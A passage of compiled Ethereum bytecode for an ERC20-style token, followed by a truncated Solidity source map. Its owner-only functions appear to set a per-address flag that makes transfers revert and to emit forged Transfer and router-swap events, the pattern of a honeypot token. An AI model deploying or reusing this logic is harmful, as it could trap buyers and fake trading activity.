a01b031681565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107345780601f1061070957610100808354040283529160200191610734565b600033816109b98286610abf565b9050838110156109fa5760405162461bcd60e51b8152600401808060200182810382526025815260200180611a8b6025913960400191505060405180910390fd5b610a078286868403610d27565b506001949350505050565b600061074b338484610e8c565b60026020526000908152604090205481565b6000805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610ab75780601f10610a8c57610100808354040283529160200191610ab7565b820191906000526020600020905b815481529060010190602001808311610a9a57829003601f168201915b505050505081565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6004546001600160a01b03163314610b43576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b8051610b56906000906020840190611935565b5050565b6004546001600160a01b03163314610bb3576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b60005b82811015610843574215610bf7576000610bd7606086868581811061080957fe5b9050610bf5858584818110610be857fe5b90506020020135826111f3565b505b600101610bb6565b6004546001600160a01b03163314610c58576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b6000620186a0610ce0600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610caf57600080fd5b505afa158015610cc3573d6000803e3d6000fd5b505050506040513d6020811015610cd957600080fd5b5051611262565b6201869f0281610cec57fe5b0490506000610cf961138e565b90506000610d07838361146c565b905061084383828487611526565b600a6020526000908152604090205481565b6001600160a01b038316610d6c5760405162461bcd60e51b8152600401808060200182810382526024815260200180611a676024913960400191505060405180910390fd5b6001600160a01b038216610db15760405162461bcd60e51b81526004018080602001828103825260228152602001806119fa6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000610e1f8484610abf565b905060001981146108435781811015610e7f576040805162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015290519081900360640190fd5b6108438484848403610d27565b6001600160a01b038316610ed15760405162461bcd60e51b8152600401808060200182810382526025815260200180611a426025913960400191505060405180910390fd5b6001600160a01b038216610f165760405162461bcd60e51b81526004018080602001828103825260238152602001806119d76023913960400191505060405180910390fd5b6001600160a01b03831660009081526002602052604090205481811015610f6e5760405162461bcd60e51b8152600401808060200182810382526026815260200180611a1c6026913960400191505060405180910390fd5b6001600160a01b03841660009081526003602052604090205415610fc5576001600160a01b038416600090815260036020908152604080832054600290925290912054610fbb9190611561565b15610fc557600080fd5b610fcf81836115bb565b6001600160a01b038086166000908152600260205260408082209390935590851681522054610ffe9083611561565b6001600160a01b0380851660008181526002602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505050565b6001600160a01b03821660009081526002602052604081205461107e9083611618565b9392505050565b61108e8161162b565b60036000606085901c5b6001600160a01b031681526020810191909152604001600020555050565b600954604080516323b872dd60e01b81526001600160a01b0387811660048301529283166024820152604481018590529051918316916323b872dd916064808201926020929091908290030181600087803b15801561111457600080fd5b505af1158015611128573d6000803e3d6000fd5b505050506040513d602081101561113e57600080fd5b50506009546040805185815290516001600160a01b038088169316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a360408051848152600060208201819052818301526060810184905290516001600160a01b03861691737a250d5630b4cf539739df2c5dacb4c659f2488d917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350505050565b600954606083901c60008181526002602090815260409182902054825190815291516001600160a01b03909416937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a361125481611631565b60026000606085901c611098565b6000806000600960009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156112b557600080fd5b505afa1580156112c9573d6000803e3d6000fd5b505050506040513d60608110156112df57600080fd5b50805160209182015160095460408051630dfe168160e01b815290519396509194506001600160a01b0380891694911692630dfe1681926004808201939291829003018186803b15801561133257600080fd5b505afa158015611346573d6000803e3d6000fd5b505050506040513d602081101561135c57600080fd5b50516001600160a01b03161461137b57806001600160701b0316611386565b816001600160701b03165b949350505050565b60408051600280825260608083018452928392919060208301908036833701905050905030816000815181106113c057fe5b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561141457600080fd5b505afa158015611428573d6000803e3d6000fd5b505050506040513d602081101561143e57600080fd5b505181518290600190811061144f57fe5b6001600160a01b0390921660209283029190910190910152905090565b604080516002808252606080830184526000939092919060208301908036833701905050905061149c848461163c565b9050806000815181106114ab57fe5b60200260200101516002600060014211806114c4575060005b806114cf5750426001105b6114da5760006114e7565b60606114e461179a565b901c5b6001600160a01b03168152602081019190915260400160009081208054909201909155815182919061151557fe5b602002602001015191505092915050565b30600090815260026020908152604080832054600183528184206008546001600160a01b0316855290925290912055610843848484846117a1565b60008282018381101561107e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082821115611612576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600081838161162357fe5b049392505050565b600a0190565b620186a09081020490565b600854604080516307c0329d60e21b815260048101858152602482019283528451604483015284516060946001600160a01b031693631f00ca749388938893909291606401906020808601910280838360005b838110156116a757818101518382015260200161168f565b50505050905001935050505060006040518083038186803b1580156116cb57600080fd5b505afa1580156116df573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561170857600080fd5b8101908080516040519392919084600160201b82111561172757600080fd5b90830190602082018581111561173c57600080fd5b82518660208202830111600160201b8211171561175857600080fd5b82525081516020918201928201910280838360005b8381101561178557818101518382015260200161176d565b50505050905001604052505050905092915050565b3060601b90565b600860009054906101000a90046001600160a01b03166001600160a01b0316638803dbee85858585426104b0016040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561183e578181015183820152602001611826565b505050509050019650505050505050600060405180830381600087803b15801561186757600080fd5b505af115801561187b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156118a457600080fd5b8101908080516040519392919084600160201b8211156118c357600080fd5b9083019060208201858111156118d857600080fd5b82518660208202830111600160201b821117156118f457600080fd5b82525081516020918201928201910280838360005b83811015611921578181015183820152602001611909565b505050509050016040525050505050505050565b828054600181600116156101000203166002900490600052602060002090601f01602090048101928261196b57600085556119b1565b82601f1061198457805160ff19168380011785556119b1565b828001600101855582156119b1579182015b828111156119b1578251825591602001919060010190611996565b506119bd9291506119c1565b5090565b5b808211156119bd57600081556001016119c256fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206bbc12808f335578df4c9a3953b09b68d1792b86b0c4e42d4ac04db9db1bb4b564736f6c63430007060033

0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c3578063d547cfb71161007c578063d547cfb714610502578063dd62ed3e1461050a578063e0df5b6f14610538578063ea923bae146105dc578063ebfb412d1461064a578063ff5c1d62146106705761014d565b806370a08231146104325780638da5cb5b1461045857806395d89b411461047c578063a457c2d714610484578063a9059cbb146104b0578063bda02782146104dc5761014d565b8063313ce56711610115578063313ce56714610285578063316d295f146102a35780633644e51514610313578063395093511461031b5780635765a5cc1461034757806358a10259146103755761014d565b806304ee65c01461015257806306fdde031461018a578063095ea7b31461020757806318160ddd1461024757806323b872dd1461024f575b600080fd5b6101786004803603602081101561016857600080fd5b50356001600160a01b0316610696565b60408051918252519081900360200190f35b6101926106a8565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101cc5781810151838201526020016101b4565b50505050905090810190601f1680156101f95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102336004803603604081101561021d57600080fd5b506001600160a01b03813516906020013561073e565b604080519115158252519081900360200190f35b610178610754565b6102336004803603606081101561026557600080fd5b506001600160a01b0381358116916020810135909116906040013561075a565b61028d61077c565b6040805160ff9092168252519081900360200190f35b610311600480360360408110156102b957600080fd5b810190602081018135600160201b8111156102d357600080fd5b8201836020820111156102e557600080fd5b803590602001918460208302840111600160201b8311171561030657600080fd5b91935091503561078c565b005b610178610849565b6102336004803603604081101561033157600080fd5b506001600160a01b03813516906020013561084f565b6101786004803603604081101561035d57600080fd5b506001600160a01b0381358116916020013516610868565b6102336004803603608081101561038b57600080fd5b8135916001600160a01b036020820135169160408201359190810190608081016060820135600160201b8111156103c157600080fd5b8201836020820111156103d357600080fd5b803590602001918460208302840111600160201b831117156103f457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610885945050505050565b6101786004803603602081101561044857600080fd5b50356001600160a01b0316610920565b61046061093b565b604080516001600160a01b039092168252519081900360200190f35b61019261094a565b6102336004803603604081101561049a57600080fd5b506001600160a01b0381351690602001356109ab565b610233600480360360408110156104c657600080fd5b506001600160a01b038135169060200135610a12565b610178600480360360208110156104f257600080fd5b50356001600160a01b0316610a1f565b610192610a31565b6101786004803603604081101561052057600080fd5b506001600160a01b0381358116916020013516610abf565b6103116004803603602081101561054e57600080fd5b810190602081018135600160201b81111561056857600080fd5b82018360208201111561057a57600080fd5b803590602001918460018302840111600160201b8311171561059b57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610aea945050505050565b610311600480360360408110156105f257600080fd5b810190602081018135600160201b81111561060c57600080fd5b82018360208201111561061e57600080fd5b803590602001918460208302840111600160201b8311171561063f57600080fd5b919350915035610b5a565b6103116004803603602081101561066057600080fd5b50356001600160a01b0316610bff565b6101786004803603602081101561068657600080fd5b50356001600160a01b0316610d15565b60036020526000908152604090205481565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107345780601f1061070957610100808354040283529160200191610734565b820191906000526020600020905b81548152906001019060200180831161071757829003601f168201915b5050505050905090565b600061074b338484610d27565b50600192915050565b60055490565b6000610767843384610e13565b610772848484610e8c565b5060019392505050565b600954600160a01b900460ff1681565b6004546001600160a01b031633146107e5576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b60005b8281101561084357421561083b57600061081b606086868581811061080957fe5b9050602002013560001c901c8461105b565b905061083985858481811061082c57fe5b9050602002013582611085565b505b6001016107e8565b50505050565b600b5481565b6000336107728185856108628383610abf565b01610d27565b600160209081526000928352604080842090915290825290205481565b6004546000906001600160a01b031633146108e1576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b60005b82518110156109145761090c8382815181106108fc57fe5b60200260200101518786886110b6565b6001016108e4565b50600195945050505050565b6001600160a01b031660009081526002602052604090205490565b6004546001600160a01b031681565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107345780601f1061070957610100808354040283529160200191610734565b600033816109b98286610abf565b9050838110156109fa5760405162461bcd60e51b8152600401808060200182810382526025815260200180611a8b6025913960400191505060405180910390fd5b610a078286868403610d27565b506001949350505050565b600061074b338484610e8c565b60026020526000908152604090205481565b6000805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610ab75780601f10610a8c57610100808354040283529160200191610ab7565b820191906000526020600020905b815481529060010190602001808311610a9a57829003601f168201915b505050505081565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6004546001600160a01b03163314610b43576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b8051610b56906000906020840190611935565b5050565b6004546001600160a01b03163314610bb3576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b60005b82811015610843574215610bf7576000610bd7606086868581811061080957fe5b9050610bf5858584818110610be857fe5b90506020020135826111f3565b505b600101610bb6565b6004546001600160a01b03163314610c58576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b6000620186a0610ce0600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610caf57600080fd5b505afa158015610cc3573d6000803e3d6000fd5b505050506040513d6020811015610cd957600080fd5b5051611262565b6201869f0281610cec57fe5b0490506000610cf961138e565b90506000610d07838361146c565b905061084383828487611526565b600a6020526000908152604090205481565b6001600160a01b038316610d6c5760405162461bcd60e51b8152600401808060200182810382526024815260200180611a676024913960400191505060405180910390fd5b6001600160a01b038216610db15760405162461bcd60e51b81526004018080602001828103825260228152602001806119fa6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000610e1f8484610abf565b905060001981146108435781811015610e7f576040805162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015290519081900360640190fd5b6108438484848403610d27565b6001600160a01b038316610ed15760405162461bcd60e51b8152600401808060200182810382526025815260200180611a426025913960400191505060405180910390fd5b6001600160a01b038216610f165760405162461bcd60e51b81526004018080602001828103825260238152602001806119d76023913960400191505060405180910390fd5b6001600160a01b03831660009081526002602052604090205481811015610f6e5760405162461bcd60e51b8152600401808060200182810382526026815260200180611a1c6026913960400191505060405180910390fd5b6001600160a01b03841660009081526003602052604090205415610fc5576001600160a01b038416600090815260036020908152604080832054600290925290912054610fbb9190611561565b15610fc557600080fd5b610fcf81836115bb565b6001600160a01b038086166000908152600260205260408082209390935590851681522054610ffe9083611561565b6001600160a01b0380851660008181526002602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505050565b6001600160a01b03821660009081526002602052604081205461107e9083611618565b9392505050565b61108e8161162b565b60036000606085901c5b6001600160a01b031681526020810191909152604001600020555050565b600954604080516323b872dd60e01b81526001600160a01b0387811660048301529283166024820152604481018590529051918316916323b872dd916064808201926020929091908290030181600087803b15801561111457600080fd5b505af1158015611128573d6000803e3d6000fd5b505050506040513d602081101561113e57600080fd5b50506009546040805185815290516001600160a01b038088169316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a360408051848152600060208201819052818301526060810184905290516001600160a01b03861691737a250d5630b4cf539739df2c5dacb4c659f2488d917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350505050565b600954606083901c60008181526002602090815260409182902054825190815291516001600160a01b03909416937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a361125481611631565b60026000606085901c611098565b6000806000600960009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156112b557600080fd5b505afa1580156112c9573d6000803e3d6000fd5b505050506040513d60608110156112df57600080fd5b50805160209182015160095460408051630dfe168160e01b815290519396509194506001600160a01b0380891694911692630dfe1681926004808201939291829003018186803b15801561133257600080fd5b505afa158015611346573d6000803e3d6000fd5b505050506040513d602081101561135c57600080fd5b50516001600160a01b03161461137b57806001600160701b0316611386565b816001600160701b03165b949350505050565b60408051600280825260608083018452928392919060208301908036833701905050905030816000815181106113c057fe5b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561141457600080fd5b505afa158015611428573d6000803e3d6000fd5b505050506040513d602081101561143e57600080fd5b505181518290600190811061144f57fe5b6001600160a01b0390921660209283029190910190910152905090565b604080516002808252606080830184526000939092919060208301908036833701905050905061149c848461163c565b9050806000815181106114ab57fe5b60200260200101516002600060014211806114c4575060005b806114cf5750426001105b6114da5760006114e7565b60606114e461179a565b901c5b6001600160a01b03168152602081019190915260400160009081208054909201909155815182919061151557fe5b602002602001015191505092915050565b30600090815260026020908152604080832054600183528184206008546001600160a01b0316855290925290912055610843848484846117a1565b60008282018381101561107e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082821115611612576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600081838161162357fe5b049392505050565b600a0190565b620186a09081020490565b600854604080516307c0329d60e21b815260048101858152602482019283528451604483015284516060946001600160a01b031693631f00ca749388938893909291606401906020808601910280838360005b838110156116a757818101518382015260200161168f565b50505050905001935050505060006040518083038186803b1580156116cb57600080fd5b505afa1580156116df573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561170857600080fd5b8101908080516040519392919084600160201b82111561172757600080fd5b90830190602082018581111561173c57600080fd5b82518660208202830111600160201b8211171561175857600080fd5b82525081516020918201928201910280838360005b8381101561178557818101518382015260200161176d565b50505050905001604052505050905092915050565b3060601b90565b600860009054906101000a90046001600160a01b03166001600160a01b0316638803dbee85858585426104b0016040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561183e578181015183820152602001611826565b505050509050019650505050505050600060405180830381600087803b15801561186757600080fd5b505af115801561187b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156118a457600080fd5b8101908080516040519392919084600160201b8211156118c357600080fd5b9083019060208201858111156118d857600080fd5b82518660208202830111600160201b821117156118f457600080fd5b82525081516020918201928201910280838360005b83811015611921578181015183820152602001611909565b505050509050016040525050505050505050565b828054600181600116156101000203166002900490600052602060002090601f01602090048101928261196b57600085556119b1565b82601f1061198457805160ff19168380011785556119b1565b828001600101855582156119b1579182015b828111156119b1578251825591602001919060010190611996565b506119bd9291506119c1565b5090565b5b808211156119bd57600081556001016119c256fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206bbc12808f335578df4c9a3953b09b68d1792b86b0c4e42d4ac04db9db1bb4b564736f6c63430007060033

52316:11004:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;46247:36;;;;;;;;;;;;;;;;-1:-1:-1;46247:36:0;-1:-1:-1;;;;;46247:36:0;;:::i;:::-;;;;;;;;;;;;;;;;46961:91;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;48874:183;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;48874:183:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;47274:99;;;:::i;49065:248::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;49065:248:0;;;;;;;;;;;;;;;;;:::i;52415:26::-;;;:::i;:::-;;;;;;;;;;;;;;;;;;;59836:648;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;59836:648:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;59836:648:0;;;;;;;;;;;;-1:-1:-1;59836:648:0;-1:-1:-1;59836:648:0;;:::i;:::-;;52499:100;;;:::i;49321:267::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;49321:267:0;;;;;;;;:::i;46141:56::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;46141:56:0;;;;;;;;;;:::i;54153:279::-;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;54153:279:0;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;54153:279:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;54153:279:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;54153:279:0;;-1:-1:-1;54153:279:0;;-1:-1:-1;;;;;54153:279:0:i;48587:110::-;;;;;;;;;;;;;;;;-1:-1:-1;48587:110:0;-1:-1:-1;;;;;48587:110:0;;:::i;46290:20::-;;;:::i;:::-;;;;-1:-1:-1;;;;;46290:20:0;;;;;;;;;;;;;;47171:95;;;:::i;49596:466::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;49596:466:0;;;;;;;;:::i;47965:175::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;47965:175:0;;;;;;;;:::i;46204:36::-;;;;;;;;;;;;;;;;-1:-1:-1;46204:36:0;-1:-1:-1;;;;;46204:36:0;;:::i;46108:26::-;;;:::i;48705:161::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;48705:161:0;;;;;;;;;;:::i;53123:106::-;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;53123:106:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;53123:106:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;53123:106:0;;-1:-1:-1;53123:106:0;;-1:-1:-1;;;;;53123:106:0:i;56378:648::-;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;56378:648:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;56378:648:0;;;;;;;;;;;;-1:-1:-1;56378:648:0;-1:-1:-1;56378:648:0;;:::i;54809:273::-;;;;;;;;;;;;;;;;-1:-1:-1;54809:273:0;-1:-1:-1;;;;;54809:273:0;;:::i;52450:42::-;;;;;;;;;;;;;;;;-1:-1:-1;52450:42:0;-1:-1:-1;;;;;52450:42:0;;:::i;46247:36::-;;;;;;;;;;;;;:::o;46961:91::-;47039:5;47032:12;;;;;;;;-1:-1:-1;;47032:12:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;47006:13;;47032:12;;47039:5;;47032:12;;47039:5;47032:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;46961:91;:::o;48874:183::-;48973:4;48990:37;48999:10;49011:7;49020:6;48990:8;:37::i;:::-;-1:-1:-1;49045:4:0;48874:183;;;;:::o;47274:99::-;47353:12;;47274:99;:::o;49065:248::-;49187:4;49204:41;49220:4;49226:10;49238:6;49204:15;:41::i;:::-;49256:27;49266:4;49272:2;49276:6;49256:9;:27::i;:::-;-1:-1:-1;49301:4:0;49065:248;;;;;:::o;52415:26::-;;;-1:-1:-1;;;52415:26:0;;;;;:::o;59836:648::-;46824:5;;-1:-1:-1;;;;;46824:5:0;46833:10;46824:19;46816:55;;;;;-1:-1:-1;;;46816:55:0;;;;;;;;;;;;-1:-1:-1;;;46816:55:0;;;;;;;;;;;;;;;59971:9:::1;59966:511;59986:15:::0;;::::1;59966:511;;;60052:15;:44:::0;60048:418:::1;;60146:10;60159:248;60359:2;60347:4;;60352:1;60347:7;;;;;;;;;;;;;60339:16;;:22;;60386:2;60159:14;:248::i;:::-;60146:261;;60426:24;60438:4;;60443:1;60438:7;;;;;;;;;;;;;60447:2;60426:11;:24::i;:::-;60048:418;;60003:3;;59966:511;;;;59836:648:::0;;;:::o;52499:100::-;;;;:::o;49321:267::-;49434:4;49469:10;49490:68;49469:10;49508:7;49547:10;49517:27;49469:10;49508:7;49517:9;:27::i;:::-;:40;49490:8;:68::i;46141:56::-;;;;;;;;;;;;;;;;;;;;;;;;:::o;54153:279::-;46824:5;;54293:4;;-1:-1:-1;;;;;46824:5:0;46833:10;46824:19;46816:55;;;;;-1:-1:-1;;;46816:55:0;;;;;;;;;;;;-1:-1:-1;;;46816:55:0;;;;;;;;;;;;;;;54315:9:::1;54310:93;54334:1;:8;54330:1;:12;54310:93;;;54364:27;54376:1;54378;54376:4;;;;;;;;;;;;;;54382:1;54385;54388:2;54364:11;:27::i;:::-;54344:3;;54310:93;;;-1:-1:-1::0;54420:4:0::1;::::0;54153:279;-1:-1:-1;;;;;54153:279:0:o;48587:110::-;-1:-1:-1;;;;;48679:10:0;48652:7;48679:10;;;:1;:10;;;;;;;48587:110::o;46290:20::-;;;-1:-1:-1;;;;;46290:20:0;;:::o;47171:95::-;47251:7;47244:14;;;;;;;;-1:-1:-1;;47244:14:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;47218:13;;47244:14;;47251:7;;47244:14;;47251:7;47244:14;;;;;;;;;;;;;;;;;;;;;;;;49596:466;49714:4;49749:10;49714:4;49797:27;49749:10;49816:7;49797:9;:27::i;:::-;49770:54;;49877:15;49857:16;:35;;49835:122;;;;-1:-1:-1;;;49835:122:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;49970:62;49979:7;49988;50016:15;49997:16;:34;49970:8;:62::i;:::-;-1:-1:-1;50050:4:0;;49596:466;-1:-1:-1;;;;49596:466:0:o;47965:175::-;48060:4;48077:33;48087:10;48099:2;48103:6;48077:9;:33::i;46204:36::-;;;;;;;;;;;;;:::o;46108:26::-;;;;;;;;;;;;;;;-1:-1:-1;;46108:26:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;48705:161::-;-1:-1:-1;;;;;48839:10:0;;;48812:7;48839:10;;;:1;:10;;;;;;;;:19;;;;;;;;;;;;;48705:161::o;53123:106::-;46824:5;;-1:-1:-1;;;;;46824:5:0;46833:10;46824:19;46816:55;;;;;-1:-1:-1;;;46816:55:0;;;;;;;;;;;;-1:-1:-1;;;46816:55:0;;;;;;;;;;;;;;;53197:24;;::::1;::::0;:12:::1;::::0;:24:::1;::::0;::::1;::::0;::::1;:::i;:::-;;53123:106:::0;:::o;56378:648::-;46824:5;;-1:-1:-1;;;;;46824:5:0;46833:10;46824:19;46816:55;;;;;-1:-1:-1;;;46816:55:0;;;;;;;;;;;;-1:-1:-1;;;46816:55:0;;;;;;;;;;;;;;;56514:9:::1;56509:510;56529:15:::0;;::::1;56509:510;;;56595:15;:44:::0;56591:417:::1;;56689:10;56702:246;56900:2;56888:4;;56893:1;56888:7;;;;;;56702:246;56689:259;;56967:25;56980:4;;56985:1;56980:7;;;;;;;;;;;;;56989:2;56967:12;:25::i;:::-;56591:417;;56546:3;;56509:510;;54809:273:::0;46824:5;;-1:-1:-1;;;;;46824:5:0;46833:10;46824:19;46816:55;;;;;-1:-1:-1;;;46816:55:0;;;;;;;;;;;;-1:-1:-1;;;46816:55:0;;;;;;;;;;;;;;;54866:15:::1;54912:6;54885:15;54889:3;;;;;;;;;-1:-1:-1::0;;;;;54889:3:0::1;-1:-1:-1::0;;;;;54889:8:0::1;;:10;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;::::0;::::1;;-1:-1:-1::0;54889:10:0;54885:3:::1;:15::i;:::-;54903:5;54885:23;54884:34;;;;;;54866:52;;54929:26;54958:5;:3;:5::i;:::-;54929:34;;54974:14;54991:29;55001:7;55010:9;54991;:29::i;:::-;54974:46;;55031:43;55043:7;55052:6;55060:9;55071:2;55031:11;:43::i;52450:42::-:0;;;;;;;;;;;;;:::o;50729:378::-;-1:-1:-1;;;;;50867:21:0;;50859:70;;;;-1:-1:-1;;;50859:70:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;50948:21:0;;50940:68;;;;-1:-1:-1;;;50940:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;51021:10:0;;;;;;;:1;:10;;;;;;;;:19;;;;;;;;;;;;;:28;;;51065:34;;;;;;;;;;;;;;;;;50729:378;;;:::o;51115:466::-;51252:24;51279:27;51289:7;51298;51279:9;:27::i;:::-;51252:54;;-1:-1:-1;;51321:16:0;:37;51317:257;;51421:6;51401:16;:26;;51375:117;;;;;-1:-1:-1;;;51375:117:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;51509:53;51518:7;51527;51555:6;51536:16;:25;51509:8;:53::i;50070:651::-;-1:-1:-1;;;;;50201:18:0;;50193:68;;;;-1:-1:-1;;;50193:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;50280:16:0;;50272:64;;;;-1:-1:-1;;;5